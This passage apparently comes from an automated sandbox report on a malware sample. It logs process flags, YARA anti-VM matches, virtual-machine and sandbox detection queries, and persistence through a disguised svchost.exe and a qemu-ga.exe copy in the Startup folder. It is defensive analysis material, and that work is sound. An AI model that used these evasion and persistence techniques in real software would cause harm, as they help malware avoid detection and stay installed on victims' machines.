                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess information set: NOOPENFILEERRORBOX

                          Malware Analysis System Evasion

                          barindex
                          Yara detected AntiVM3
                          Source: Yara matchFile source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000025.00000002.2873232255.000000000809B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: build2.exe PID: 2576, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: BA7B.exe PID: 432, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 2428, type: MEMORYSTR
                          Checks if the current machine is a virtual machine (disk enumeration)
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
                          Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
                          Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeWMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeWMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController
                          Source: C:\Users\user\AppData\Roaming\svchost.exeWMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController
                          Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXEA
                          Source: svchost.exe, 00000006.00000003.3224792374.00000213A7041000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: QEMU-GA.EXEX
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXEL
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START%20MENU\PROGRAMS\STARTUP\QEMU-GA.EXE
                          Source: svchost.exe, 00000006.00000003.3224792374.00000213A7041000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: QEMU-GA.EXEP
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXEE
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXEX2
                          Source: E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \QEMU-GA.EXE
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXEO<
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: QEMU-GA.EXEQEMU-GA.EXE!
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: QEMU-GA.EXEQEMU-GA.EXE
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: QEMU-GA.EXE;
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE:ZONE.IDENTIFIER
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FILE//C:USERSuserAPPDATAROAMINGMICROSOFTWINDOWSSTART%20MENUPROGRAMSSTARTUPQEMU-GA.EXE
                          Source: WER3531.tmp.csv.6.drBinary or memory string: "QEMU-GA.EXE",5808,5,1695744,319,5,104419709,133518935181898049,156250,468750,8,4836532224,4836466688,2856,10764288,10768384,181360,181184,11528,11392,9449472,9515008,9449472,6,0,192,26577,0,3988,172,3628,1,
                          Source: E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $]QYC:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE
                          Source: 3EE1.exe, 00000024.00000002.3118264047.00000000026F8000.00000004.00000800.00020000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START%20MENU\PROGRAMS\STARTUP\QEMU-GA.EXEE3
                          Source: E5F3.exe, 0000001E.00000002.3077585578.0000000000675000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\LOCAL\TEMP\C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE"C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE"
                          Source: E5F3.exe, 0000001E.00000002.3075982102.00000000001F0000.00000004.00000020.00040000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE\??\C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXEEN-GBENEN-USMYAPPLICATION.APP
                          Source: svchost.exe, 00000006.00000003.3067871565.00000213A7087000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: QEMU-GA.EXEH
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE0
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE8GD
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}E\INTERFACE\{6D5140C1-7436-11CE-8034-00AA006009FA}\PROXYSTUBCLSID32QEMU-GA.EXE
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\LOCAL\TEMPROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXEE
                          Source: E5F3.exe, 0000001E.00000002.3100132740.0000000004D30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE" (
                          Source: BA7B.exe, 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, BA7B.exe, 00000025.00000002.2873232255.000000000809B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLLUSER
                          Source: svchost.exe, 00000006.00000003.3204311923.00000213A7087000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106926194.00000000065DA000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3108252625.00000000066C5000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106278005.0000000006565000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3105830906.0000000006512000.00000004.00000020.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: QEMU-GA.EXE
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE:ZONE.IDENTIFIER
                          Source: E5F3.exe, 0000001E.00000002.3100132740.0000000004D30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\LOCAL\TEMP\C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE"C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE" C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXEWINSTA0\DEFAULTO=::=::\ALLUSERSPROFILE=C:\PROGRAMDATAAPPDATA=C:\USERS\user\APPDATA\ROAMINGCOMMONPROGRAMFILES=C:\PROGRAM FILES (X86)\COMMON FILESCOMMONPROGRAMFILES(X86)=C:\PROGRAM FILES (X86)\COMMON FILESCOMMONPROGRAMW6432=C:\PROGRAM FILES\COMMON FILESCOMPUTERNAME=user-PCCOMSPEC=C:\WINDOWS\SYSTEM32\CMD.EXEDRIVERDATA=C:\WINDOWS\SYSTEM32\DRIVERS\DRIVERDATAFPS_BROWSER_APP_PROFILE_STRING=INTERNET EXPLORERFPS_BROWSER_USER_PROFILE_STRING=DEFAULTHOMEDRIVE=C:HOMEPATH=\USERS\userLOCALAPPDATA=C:\USERS\user\APPDATA\LOCALLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2ONEDRIVE=C:\USERS\user\ONEDRIVEOS=WINDOWS_NTPATH=C:\PROGRAM FILES (X86)\COMMON FILES\ORACLE\JAVA\JAVAPATH;C:\WINDOWS\SYSTEM32;C:\WINDOWS;C:\WINDOWS\SYSTEM32\WBEM;C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\;C:\WINDOWS\SYSTEM32\OPENSSH\;C:\USERS\user\APPDATA\LOCAL\MICROSOFT\WINDOWSAPPS;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=X86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=INTEL64 FAMILY 6 MODEL 143 STEPPING 8, GENUINEINTELPROCESSOR_LEVEL=6PROCESSOR_REVISION=8F08PROGRAMDATA=C:\PROGRAMDATAPROGRAMFILES=C:\PROGRAM FILES (X86)PROGRAMFILES(X86)=C:\PROGRAM FILES (X86)PROGRAMW6432=C:\PROGRAM FILESPSMODULEPATH=C:\PROGRAM FILES (X86)\WINDOWSPOWERSHELL\MODULES;C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\MODULES;C:\PROGRAM FILES (X86)\AUTOIT3\AUTOITXPUBLIC=C:\USERS\PUBLICSESSIONNAME=CONSOLESYSTEMDRIVE=C:SYSTEMROOT=C:\WINDOWSTEMP=C:\USERS\user\APPDATA\LOCAL\TEMPTMP=C:\USERS\user\APPDATA\LOCAL\TEMPUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\USERS\userWINDIR=C:\WINDOWSRNAME=userUSERPROFILE=C:\USERS\userWINDIR=C:\WINDOWS=C:\USERS\userWINDIR=C:\WINDOWS_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\USERS\userWINDIR=C:\WINDOWSONS-PCUSERNAME=userUSERPROFILE=C:\USERS\userWINDIR=C:\WINDOWSOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\USERS\userWINDIR=C:\WINDOWSE=C:\USERS\userWINDIR=C:\WINDOWSPA..
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /C:/USERS/user/APPDATA/ROAMING/MICROSOFT/WINDOWS/START%20MENU/PROGRAMS/STARTUP/QEMU-GA.EXE
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE
                          Source: E5F3.exe, 0000001E.00000002.3105665897.0000000006500000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FILE:///C:/USERS/user/APPDATA/ROAMING/MICROSOFT/WINDOWS/START%20MENU/PROGRAMS/STARTUP/QEMU-GA.EXEFH
                          Source: E5F3.exe, 0000001E.00000002.3077585578.0000000000675000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\USERS\user\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\QEMU-GA.EXE11WINSTA0\DEFAULT_CL=::=::\ALLUSERSPROFILE=C:\PROGRAMDATAAPPDATA=C:\USERS\user\APPDATA\ROAMINGCOMMONPROGRAMFILES=C:\PROGRAM FILES\COMMON FILESCOMMONPROGRAMFILES(X86)=C:\PROGRAM FILES (X86)\COMMON FILESCOMMONPROGRAMW6432=C:\PROGRAM FILES\COMMON FILESCOMPUTERNAME=user-PCCOMSPEC=C:\WINDOWS\SYSTEM32\CMD.EXEDRIVERDATA=C:\WINDOWS\SYSTEM32\DRIVERS\DRIVERDATAFPS_BROWSER_APP_PROFILE_STRING=INTERNET EXPLORERFPS_BROWSER_USER_PROFILE_STRING=DEFAULTHOMEDRIVE=C:HOMEPATH=\USERS\userLOCALAPPDATA=C:\USERS\user\APPDATA\LOCALLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2ONEDRIVE=C:\USERS\user\ONEDRIVEOS=WINDOWS_NTPATH=C:\PROGRAM FILES (X86)\COMMON 